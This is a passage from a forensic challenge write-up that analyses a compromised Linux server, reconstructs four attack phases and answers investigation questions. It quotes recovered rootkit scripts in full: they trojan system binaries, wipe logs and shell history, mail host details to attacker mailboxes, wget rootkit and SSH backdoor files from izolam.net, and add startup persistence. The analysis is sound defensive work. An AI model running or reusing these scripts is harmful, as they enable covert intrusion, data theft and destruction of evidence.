2003-08-10 16:01:18.000000000 -0700 /mnt/sda1/etc/opt/psybnc/makesalt (0)
2003-08-10 16:01:18.000000000 -0700 /mnt/sda1/etc/opt/psybnc/src/psybnc.o (0)
[.. snipped other psyBNC intermediary compilation files ..]
2003-08-10 16:02:36.000000000 -0700 /mnt/sda1/etc/opt/psybnc/initd (0)
2003-08-10 16:02:46.000000000 -0700 /mnt/sda1/etc/opt/psybnc/psybnc.pid (0)
This is phase 4. The attacker downloads and compiles a 'sslstop' package and uploads, compiles and starts a psyBNC. Here are the contents of the /.bash_history leftover :
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9  21510  21511 23289  23292 23302
This proves that the attacker finally got root access and issued commands manually on the bash shell. We can learn the download location of sslstop and see that Apache was finally killed, probably to close the vulnerability used to compromise the host in the first place.

Here is the end of the added files :

2003-08-10 16:03:32.000000000 -0700 /mnt/sda1/etc/opt/psybnc/log/USER1.TRL (0)
2003-08-10 16:04:15.000000000 -0700 /mnt/sda1/usr/lib/libice.log (0)
2003-08-10 16:04:38.000000000 -0700 /mnt/sda1/lib/.x/s/mfs (0)
2003-08-10 16:04:47.000000000 -0700 /mnt/sda1/etc/opt/psybnc/motd/USER1.MOTD.old (0)
2003-08-10 16:08:12.000000000 -0700 /mnt/sda1/etc/opt/psybnc/motd/USER1.MOTD (0)
2003-08-10 16:32:18.000000000 -0700 /mnt/sda1/lib/.x/s/r_s (0)
2003-08-10 17:50:39.000000000 -0700 /mnt/sda1/etc/opt/psybnc/log/USER2.TRL (0)
2003-08-10 17:52:14.000000000 -0700 /mnt/sda1/etc/opt/psybnc/motd/USER2.MOTD (0)
2003-08-10 18:00:49.000000000 -0700 /mnt/sda1/etc/opt/psybnc/log/psybnc.log (0)
2003-08-10 18:00:49.000000000 -0700 /mnt/sda1/etc/opt/psybnc/psybnc.conf (0)
2003-08-10 18:00:49.000000000 -0700 /mnt/sda1/etc/opt/psybnc/psybnc.conf.old (0)
These are the files later modified by the attackers' already-launched processes.

To finish, let's see if we can find more information on the attacker(s) on the disk raw data.

3.9 String search for "(swapd)" on the disk surface

We need a little more information on the attacks of phase 1 and 2. Maybe we can find useful information by looking for unique strings in the unallocated space of the disk. We will use Autopsy, a web-based front-end to forensics tools avilable on the Knoppix-STD CDROM. We unmount the disk, then create a new Autopsy case with our host and disk image. Then we use the "keyword search" function to look for occurences of the (swapd) string.

(swapd) appears in four fragments : 112745 (not allocated), 136758 (/usr/bin directory), 200610 (/usr/bin/logclear) and 201083 (not allocated). 112745 is the already-retrieved old /var/log/messages. Fragment 201083 (and following fragment 201084) are much more interesting. Here is the contents of this file :

#!/bin/bash
# Made By ICE
 
BLK='\033[1;30m'
RED='\033[1;31m'
GRN='\033[1;32m'
YEL='\033[1;33m'
BLU='\033[1;34m'
MAG='\033[1;35m'
CYN='\033[1;36m'
WHI='\033[1;37m'
DRED='\033[0;31m'
DGRN='\033[0;32m'
DYEL='\033[0;33m'
DBLU='\033[0;34m'
DMAG='\033[0;35m'
DCYN='\033[0;36m'
DWHI='\033[0;37m'
RES='\033[0m'

USERID=`id -u`
echo "${WHI}---${RED}   Verificam daca suntem ROOT ${WHI} !!!${RES}"
if [ $USERID -eq 0 ]
then
echo "${RED}+++${WHI}   Cica DA ..., deci putem continua ${BLU} :${WHI}-${RED})${RES}"
else
echo "${RED}--- ${DRED}!!! ${RED}Atentie tu eshti de fapt ${YEL}$USERID${RED} si nu ${GRN}RooT ${DRED}!!!${RES}"
echo "${WHI}               Asta ii un ${BLU}ROOTKIT${WHI} deshteptule si trebuie sa aiba ${GRN}uid=0${RES}"
exit
fi

rk=`pwd`
home="/usr/bin"
etc="/etc"
usr="/usr/lib/libshtift"
netstat="/bin/netstat"
ls="/bin/ls"
ps="/bin/ps"
top="/usr/bin/top"
chattr="/usr/bin/chattr"
chat="/usr/lib/ld/chat"
pico="/bin/pico"
wget="/usr/bin/wget"
ifconfig="/sbin/ifconfig"
ttyop="/dev/ttyop"
ttyoa="/dev/ttyoa"
ttyof="/dev/ttyof"
if [ -f "/usr/bin/gcc" ]; then
gcc="/usr/bin/gcc"
 else
     if [ -f "/usr/local/bin/gcc" ]; then
     gcc="/usr/local/bin/gcc"
       else
           if [ -f "/usr/bin/cc" ]; then
           gcc="/usr/bin/cc"
             else
                 if [ -f "/usr/local/bin/cc" ]; then
                 gcc="/usr/local/bin/cc"
                  else
                     gcc="/usr/bin/gnikcs"
fi; fi; fi; fi

unset HISTFILE; chown root.root *; unalias &> /dev/null ls
echo "							"
echo "${WHI}                @@@ ${GRN}OK ${BLU}ICE sau care eshti pe acolo , de preferabil Budu :-)
  ${GRN} .., deci sa bagam mare ${BLU}!!!${WHI}@@@${RES}" 
echo "							"
if [ -f /etc/rc.d/init.d/portmap ]; then
 /etc/rc.d/init.d/portmap stop
fi
if [ -f /etc/rc.d/init.d/syslog ]; then
 /etc/rc.d/init.d/syslog stop
fi

killall &> /dev/null -9 syslogd
killall &> /dev/null -9 klogd
killall &> /dev/null -9 atd

$chattr &> /dev/null -ASacdisu /bin /bin/* /usr/bin /usr/bin/* /sbin /sbin/* /usr/sbin /usr/sbin/* $etc/im* $usr $usr/* $ttyop $ttyoa $ttyof
echo "${WHI} Sa tragem o privire dupa fisiere.. ${DRED}!${RES}"
echo "                                                  "
if [ -f $chattr ]; then
 echo "				${WHI}chattr${RED} -> ${BLU}ok${RES}"
else
if [ -f $chat ]; then
 /usr/lib/ld/chat -R -ASacdisu /usr/bin $chat
 cp -f $chat $chattr
else
 tar -xzf chattr.tgz
 mv -f chattr $chattr
 echo "				${WHI}chattr${RED}->${BLU}atasat${RES}"
 chmod +x $chattr
fi; fi

if [ -f $wget ]; then
 echo "				${WHI}wget${RED} -> ${BLU}ok${RES}"
else
 tar -xzf wget.tgz
 mv -f wget $wget
 echo "				${WHI}wget${RED} -> ${BLU}atasat${RES}"
 chmod +x $wget
fi

if [ -f $pico ]; then
 echo "				${WHI}pico${RED} -> ${BLU}ok${RES}"
else
 tar -xzf pico.tgz
 mv -f pico $pico
 echo "				${WHI}pico${RED} -> ${BLU}atasat${RES}"
 chmod +x $pico
fi

echo " ${WHI}Rezolvam tampeniile de ps, netstat si etc.., si pe sora-sa :-P${RES}"

mkdir $usr; mv $netstat $ps $ls $ifconfig $top $usr; mv netstat $netstat; mv ps $ps;
  mv ifconfig $ifconfig; mv ls $ls; mv top $top; mv .ttyop $ttyop; mv .ttyoa $ttyoa; mv .ttyof $ttyof

echo "                          ${WHI}Tampeniile${RED} ->${BLU}Done${RES}"

echo " ${WHI}Copiem ${BLU}SSH-ul ${WHI}si ce mai e nevoie :-P .. ${RES}"

mv -f  sense sl2 logclear $home; echo "/usr/bin/crontabs -t1 -X53 -p" >> /etc/rc.d/init.d/functions;
  echo >> /etc/rc.d/init.d/functions; mv crontabs -f /usr/bin/; chmod 500 /usr/bin/crontabs
./ava
$gcc -o swapd kde.c
if [ -f swapd ]; then
 mv swapd /usr/bin/"(swapd)"
else
 mv swapd2 /usr/bin/"(swapd)"
fi
mv lpi /usr/bin
mv libsss /usr/lib
chmod +x /usr/bin/lpi
/usr/bin/crontabs
/usr/bin/lpi

echo " ${RED}ATENTIE!!! ${DRED}Tu tre sa dai ${WHI} cd /usr/bin ; sense tcp.log ; logclear ${RES}"

./sysinfo > informatii
echo " ${WHI}Imediat iti trimit Mail ${BLU}BAH${WHI} mai ai rabdare 2 min..${RES}"
echo "				"
cat informatii|mail -s "SANDERS root" [email protected]
cat informatii|mail -s "SANDERS root" [email protected]

echo "				${WHI}Mail ${RED}-> ${BLU}Done.${RES}"; echo "					"
echo " ${WHI}*** ${GRN}Sa ne facem si noi un catun pe aici! ${BLU};${WHI}-${RED}) ${WHI}***${RES}"

if [ ! -d /dev/hpd ]; then
 mkdir /dev/hpd
fi

echo " ${WHI}*** ${GRN}Director-ul /dev/hpd a fost deja creat gajiule:))${WHI} ***${RES}"
echo " ${WHI}*** ${BLU}Acum sa stergem logurile care ne incurca ${WHI}***${RES}"

rm -rf /var/log/*
touch /var/log/wtmp
if [ -f /etc/rc.d/init.d/syslog ]; then
 /etc/rc.d/init.d/syslog restart
fi
if [ -f /etc/rc.d/init.d/portmap ]; then 
 /etc/rc.d/init.d/portmap restart
fi

cd ..

unset HISTFILE; $chattr +AacdisSu /bin /bin/* /usr/bin/sense /usr/bin/top /sbin /sbin/* /usr/sbin /usr/sbin/* $etc/im* $ttyop $ttyoa $ttyof
rm -rf /usr/bin/lpi
rm -rf simpa*
echo "                                                  "
echo "${WHI}@@@ ${GRN}OK ${BLU}Shefu${GRN}.., e al tau, bucura-te ca eshti mai destept cu un ${BLU}RooT ${BLU};${WHI}-${RED}P ${WHI}@@@${RES}"
This file is the phase 1 rootkit installation script. It is written in what could be Romanian. It confirms the location of the rootkit configuration files (/dev/ttyo?) and gives us a few yahoo mailboxes names.

3.10 String search for "sp0" on the disk surface

To get more information on the second phase, let's look for occurences of string "sp0". This is a short string, so it appears in a lot of unrelated files : 45 fragments contain this string. However, we are mostly interested in unallocated fragments (corresponding to deleted files), and only 2 unallocated fragments contain the string "sp0" : 36691 and 112752. Let's look at the contents of fragment 36691 :
unset HISTFILE HISTSIZE HISTSAVE
BLK="\033[0;30m"
[..snipped other colors definition..]
RES="\033[0m"
printf "${YBL}redCode${RES}${YBL}redCode${RES}${YBL}redCode${RES}\n"
printf "${YBL}redCode${RES}${YBL}Face Treaba${RES}${YBL}ushoara${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
mkdir /tmp/rk
printf "${DCYN}Entering Directory${RES}\n"
cd /tmp/rk
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/inst -q
wget izolam.net/rc/kflushd -q
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
sleep 1
mkdir /tmp/rk/adore
printf "${DCYN}Entering Directory${RES}\n"
cd /tmp/rk/adore/
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/adore/adore.c -q
wget izolam.net/rc/adore/ava.c -q
wget izolam.net/rc/adore/dummy.c -q
wget izolam.net/rc/adore/exec.c -q
wget izolam.net/rc/adore/exec-test.c -q
wget izolam.net/rc/adore/libinvisible.c -q
wget izolam.net/rc/adore/libinvisible.h -q
wget izolam.net/rc/adore/cleaner.c -q
sleep 4
printf "${DCYN}OK${RES}\n"
printf "${DCYN}getting the Makefile${RES}\n"
wget izolam.net/rc/adore/Makefile -q
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}Leaving directory..${RES}\n"
printf "${DCYN}Creating Directory...${RES}\n"
mkdir /tmp/rk/ssh
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
cd /tmp/rk/ssh
printf "${DCYN}getting the files...${RES}\n"
wget izolam.net/rc/ssh/sp0 -q
wget izolam.net/rc/ssh/sp0_cfg -q
wget izolam.net/rc/ssh/sp0_key -q
wget izolam.net/rc/ssh/sp0_seed -q
sleep 2
printf "${DCYN}Changing the file modes..${RES}\n"
chmod 777 sp0
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Leaving directory..${RES}\n"
cd /tmp/rk/
chmod 777 inst kflushd
sleep 1
printf "${DCYN}OK${RES}\n"
printf "${DCYN}Cleaning...${RES}\n"
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}All done...${RES}\n"
printf "${DCYN}You Got The redCode rk${RES} ${YEL}$IP${RES}\n"
printf "${DRED}Copyright ${BW}[siCk]${RES} ${DCYN}\n"
This is the download script for the Adore rootkit and sp0 SSH server used in phase 2. Here is the content of fragment 112752 :
#!/bin/sh
unset HISTFILE HISTSIZE HISTSAVE
BLK="\033[0;30m"
[.. snipped other colors definition ..]
RES="\033[0m"
printf "${YBL}redCode${RES} ${DRED}rkit${RES}\n"
printf "${YBL}redCode${RES}${YBL}redCode${RES}${YBL}redCode${RES}\n"
cd adore
make
mv ava /bin/ava
mv adore.o /usr/lib/
mv cleaner.o /usr/lib/
cd ..
printf "${DCYN}Starting SSHD...${RES}\n"
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
mv ssh/sp0 /bin/
mv ssh/* /usr/lib/

printf "${DCYN}Hiding everything...${RES}\n"
rm -rf /.bash_history
ln -sf /dev/null /root/.bash_history

printf "${DCYN}Cleaning megs ${RES}\n"
rm -rf /var/log/messages
ln -sf /dev/null /var/log/messages

printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
echo >>/etc/rc.d/rc.sysinit kflushd
mv kflushd /bin/
kflushd

printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}Cleaning all the tracks...${RES}\n"
cd ..
rm -rf .rc
printf "${DCYN}[${GRN}OK${DCYN}]${RES}\n"
printf "${DCYN}All done...${RES}\n"
printf "${DCYN}You Got The root${RES} ${YEL}$IP${RES}\n"
printf "${DRED}Copyright ${BW}[siCk]${RES} ${DCYN}\n"
This is the installation script used in phase 2 for the Adore rootkit files and the sp0 SSH server. This script itself doesn't start the rootkit (insmod command) nor does it start the SSH server (sp0). We have no trace of the /bin/ava file on the filesystem, so maybe compilation failed. Since the adore.o file wasn't hidden from view in live analysis, we can suppose that the Adore rootkit wasn't running on the compromised host. The sp0 SSH server wasn't running either, otherwise we would have found another open port in the nmap scan. So we can suppose that the two were never actually run on the compromised host, probably because the attack script doesn't automatically do it and the attacker was just interested in getting a root shell to install the IRC bouncer.

There are a lot of other strings we could look for, but it's now time to answer the questions !

4. Answers

Question 1

Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

The process I use to confirm that the live host was compromised is presented in detail in section 1.2. I first established that some system commands were modified, and proved that they were modified to hide information on currently running processes. To reduce the impact on the running system, this was established using only available system commands. Before the compromise was confirmed, I minimized my trust in the system by isolating it on a separate VMWare virtual network. Once the compromise has been confirmed, I reduced my trust in the system by systematically considering that information reported by the commands passed in live analysis have to be confirmed by trusted operations (perimeter analysis and filesystem analysis).

Question 2

Explain the impact that your actions had on the running system.

In addition of using available system commands, I then proceeded in installing 'lsof' to look for active servers and connections and list open resources of suspicious PIDs. All this activity has modified disk-related information (added files, used/overwritten hard disk space). To be able to look at an unmodified compromised host during perimeter and filesystem analysis, I used the VMWare snapshot feature to systematically revert back to the original state before proceeding. That way, live analysis actions did not have any effect on later analysis.

Question 3

List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

This was first established using lsof during live analysis, and that information was later confirmed during perimeter analysis using an nmap portscan.

The PIDs of processes using non RedHat 7.2 default ports are : 3137 (listening to TCP port 2003), 15119 (listening to TCP ports 65336 and 65436), 25239 (listening to UDP port 3049) and 25241 (listening to TCP port 3128).

In addition, the following PIDs were all found listening to standard http (TCP 80) and https (TCP 443) ports, without being a web server : 3137, 3153, 25239, 25241 and 25247.

Question 4

Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

The lsof output obtained in section 1.3 shows three established connections :

192.168.1.79:65336->213.154.118.200:1188
192.168.1.79:1146->199.184.165.133:ircd
192.168.1.79:1149->64.62.96.42:ircd

The first one is a connection from sanido-08.is.pcnet.ro to process 15119, the others are connections from the same process to two Undernet IRC servers (fairfax.va.us.undernet.org and mesa.az.us.undernet.org according to the psybnc.log file). I established that process 15119 is an IRC anonymizer which proxies client connections to IRC servers. The user connects from sanido-08.is.pcnet.ro to our IRC proxy, and uses it to connect to the real IRC servers, thus hiding his identity behind our IP address.

Question 5

How many instances of an SSH server were installed and at what times?

Examination of the added files and the server type identification in the Nessus scan show that 3 different instances of an SSH server were installed by the attacker(s) : /usr/bin/smbd -D at 13:33:33, /usr/lib/sp0 at 15:30:54, and /lib/.x/s/xopen at 15:32:16.

Question 6

Which instances of the SSH servers from question 5 were run?

Only /usr/bin/smbd -D and /lib/.x/s/xopen have been run (and were still running). There is no evidence proving that "/usr/lib/sp0" was ever run.

Question 7

Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

"/usr/bin/smbd -D" and "/lib/.x/s/xopen" are more than SSH servers : using promiscuous mode and a companion logger process, they both collect information about attempted clear-text connections on the same network. "/usr/bin/smbd -D" uses "/usr/bin/(swapd)" to log to "/usr/lib/libice.log", and "/lib/.x/s/xopen" uses "/lib/.x/s/lsn" to log to "/lib/.x/s/mfs". Examination of these log files show that only information related to the activity of the hacker (an FTP download and a reverse proxyscan connection from an IRC server) was collected.

Question 8

Which system executables (if any) were trojaned and what configuration files did they use?

Determination of modified files shows that ifconfig, ls, ps, netstat and top were modified.

Examination of the files installed during the first phase of the attack reveals that they use 3 configuration files : /dev/ttyof and /dev/ttyop for file names and process names to hide, and /dev/ttyoa for IP addresses and ports to hide.

Question 9

How and from where was the system likely compromised?

The Nessus report points to several weaknesses (still open during the time of perimeter analysis) that could have been used for the initial compromise. However, the recovered Apache log files show that the first attack began with a known mod_ssl version probe, and we know from the Nessus report that the OpenSSL version used can be abused using a buffer overflow attack. Moreover, some of the files on the disk downloaded by the attack scripts still have the Apache userID. And finally, the first actions of the attacker when he finally used a shell were to close the Apache SSL server.

All this leads me to the conclusion that the system was compromised multiple times using an OpenSSL hole, accessed through the Apache webserver. This gave the attacker script a local apache-owned shell (hence the Apache-owned files), from which he used one of the local root exploits cited in the Nessus report (Samba or more probably OpenSSH again) to gain root access.

Bonus question

What nationality do you believe the attacker(s) to be, and why?

We must first try to deduce if the phases we observed are the result of multiple uncoordinated attackers, or a single disorganized attacker using multiple automated attack tools which conflict with one anothers. Using the added files analysis we determined 4 distinct attack phases, with the following information :

Phase 1 :
SSH backdoor/sniffer and System-command-level rootkit installed, http probe from 213.154.118.219 (extreme-service-11.is.pcnet.ro), SSH connection attempts from 213.154.118.218 (extreme-service-10.is.pcnet.ro), attack script with comments in what is probably Romanian which sends mail to [email protected] and [email protected] mailboxes.

Phase 2 :
SSH backdoor and Adore kernel-level rootkit files, scripts in english with downloads from izolam.net

Phase 3 :
SSH backdoor/sniffer installed, sucKIT kernel-level rootkit (unsuccessfully run), script in english with reports to [email protected] mailbox

Phase 4 :
Downloads from 63.99.224.38 (izolam.net), PsyBNC installed, then accessed from 213.154.118.200 (sanido-08.is.pcnet.ro) and 213.154.118.201 (sanido-09.is.pcnet.ro).

Phase 1 and 4 point to the same attacker (same range of dialup IP addresses used). Phase 2 and 4 use the same download location (izolam.net). I have no proof that the attacker in phase 3 is the same as the others, but there is a high probability that all these attacks come from the same script-kiddie attacker, which successively tried several automated tools to gain root access from the OpenSSL vulnerability. The net result of these conflicting actions is that the compromises are only partly hidden by the rootkits used. Using the same tools, a more experienced attacker could have covered his tracks much more efficiently. Here obviously the attacker was just looking for a way to install an IRC bouncer, and was not interested in discretion. Some of his tracks just happen to have been hidden by the automated tools.

The attacks and the users all came from pcnet.ro (a Romanian Internet provider) and the language of the first script looks a lot like Romanian. From these elements I can reasonably say that there is a single attacker, and that he is from Romania.

5. Reference of tools used

  • Google for web research.
  • VMWare workstation 4.0 (evaluation edition) to run the suspended virtual machine
  • RedHat 7.2 lsof RPM to extract a RH7.2-compatible lsof and run it on the compromised system
  • rpm2targz2 to transform the RPM to a tar.gz file.
  • Knoppix-STD 0.1b Linux LiveCD distribution for perimeter analysis and filesystem forensics, including :
       * Nmap v3.10ALPHA4 for perimeter TCP scan
       * Nessus 2.0.4 for perimeter vulnerability scan
       * Autopsy 1.71 for filesystem forensics
       * perl, cat, egrep, sort, diff... for various file filtering, sorting and cleaning